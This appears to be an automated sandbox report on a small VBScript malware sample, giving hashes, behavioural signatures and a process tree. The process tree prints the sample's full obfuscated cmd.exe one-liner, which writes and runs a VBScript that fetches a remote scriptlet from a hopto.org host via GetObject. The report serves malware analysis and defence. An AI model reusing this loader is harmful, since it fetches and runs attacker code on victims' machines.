Analysis
- max time kernel
148s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 12:34
Behavioral task
behavioral1
Sample
368-Arch!vo-61D9ZRSDsY1r5hndqVAbVold.vbs
Resource
win10v2004-20260513-en
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
368-Arch!vo-61D9ZRSDsY1r5hndqVAbVold.vbs
Resource
win11ltsc2024-20260709-en
5 signatures
150 seconds
Behavioral task
behavioral3
Sample
_.exe
Resource
win10v2004-20260513-en
18 signatures
150 seconds
General
- Target 368-Arch!vo-61D9ZRSDsY1r5hndqVAbVold.vbs
- Size 3KB
- Sample260910-pr2s7atcja
- SHA256 e725e58b77d87158a9c4d68ba6468ddd4cf13ab61f18131dd1fa6d9be830ae76
- MD5 7d96f2ea6837aa91456455afa582da83
- SHA1 bbf3e2a3310a7e4b5f2602cd16bc7fb7a57c7592
- SHA512 fbc1d63f035723e94f0a858a85f865a5a64b872dd06ed819cf620578d2f5b67a10423567d3ec6943adfe686440bd463dd4be71d9f9156631b5fe3a0e202e8a2f
- TLSH T1A471DCB1B1152533DFC12604E761BC8516BE7EBD2185672DF8090A4A3209773DCCA6EB
- MD5 SHA1 SHA512 TLSH
Score
5/10
Malware Config
Signatures
- Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 992 WScript.exe 1020 WScript.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5776 cmd.exe 4484 cmd.exe 3040 cmd.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings cmd.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 992 wrote to memory of 5776 992 WScript.exe 89 PID 5776 wrote to memory of 4420 5776 cmd.exe 91 PID 5776 wrote to memory of 4484 5776 cmd.exe 92 PID 4484 wrote to memory of 3040 4484 cmd.exe 93 PID 3040 wrote to memory of 1020 3040 cmd.exe 95
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\368-Arch!vo-61D9ZRSDsY1r5hndqVAbVold.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:992 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmD ^/V/D/c ecHo function ff22xrZ(RS6QE1QSowZRC740) ff22xrZ= replace(RS6QE1QSowZRC740,"xqol1","5" ): end fUnction: AzKHzYploniR515="Sc": BY9slpb104="Tp": L43rwEHYU8j511="1": c42b6eqaurQjtuNe16 = ff22xrZ(AzKHzYploniR515 +"ri*pt*:H*t"+ BY9slpb104 +"s://r4bcmxqol1.hopto.org*/g*" + L43rwEHYU8j511): GetObject(wNR5EsV(c42b6eqaurQjtuNe16)) :function wNR5EsV(HT5CoxtxN9q401) wNR5EsV= replaCe(HT5CoxtxN9q401,"*","" ): end fUnction > nUl > %PUblic%\^L43rwEHYU8j511.vbs |^start cmd /c start %PUblic%\^L43rwEHYU8j511.vbs2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5776 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ecHo function ff22xrZ(RS6QE1QSowZRC740) ff22xrZ= replace(RS6QE1QSowZRC740,"xqol1","5" ): end fUnction: AzKHzYploniR515="Sc": BY9slpb104="Tp": L43rwEHYU8j511="1": c42b6eqaurQjtuNe16 = ff22xrZ(AzKHzYploniR515 +"ri*pt*:H*t"+ BY9slpb104 +"s://r4bcmxqol1.hopto.org*/g*" + L43rwEHYU8j511): GetObject(wNR5EsV(c42b6eqaurQjtuNe16)) :function wNR5EsV(HT5CoxtxN9q401) wNR5EsV= replaCe(HT5CoxtxN9q401,"*","" ): end fUnction 1>C:\Users\Public\L43rwEHYU8j511.vbs"3⤵PID:4420
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" start cmd /c start C:\Users\Public\L43rwEHYU8j511.vbs"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4484 -
C:\Windows\system32\cmd.execmd /c start C:\Users\Public\L43rwEHYU8j511.vbs4⤵
- Executes a command shell one-liner
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3040 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\L43rwEHYU8j511.vbs"5⤵
- Executes a VBScript file via the Windows Script Host.
PID:1020
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Public\L43rwEHYU8j511.vbs
- Size 413B
- SHA256 771a287799a0c6499e030b12661c13241c191de3c74f5cdc32cba5d0fe5a2c76
- MD5 759f9a291c5eee70b2592528e9dd8d4a
- SHA1 c6c8a3ec73934fc4fc096dbf30c2eaf81f17d63a
- SHA512 fec803bc3ff7bd61a4be662fce15004fab620bc820ef6976cd4fbe990c5ba3931c3ce2b762fd3ad55465cc5e2e513f8335658a58df9392a6798a3272e3cd8ce2
- TLSH T1F8E0AB042050BC128F9B0764ED0AC810803E67FF42E1BA8D6008D0AC5B249E7D1C336A
- MD5 SHA1 SHA512 TLSH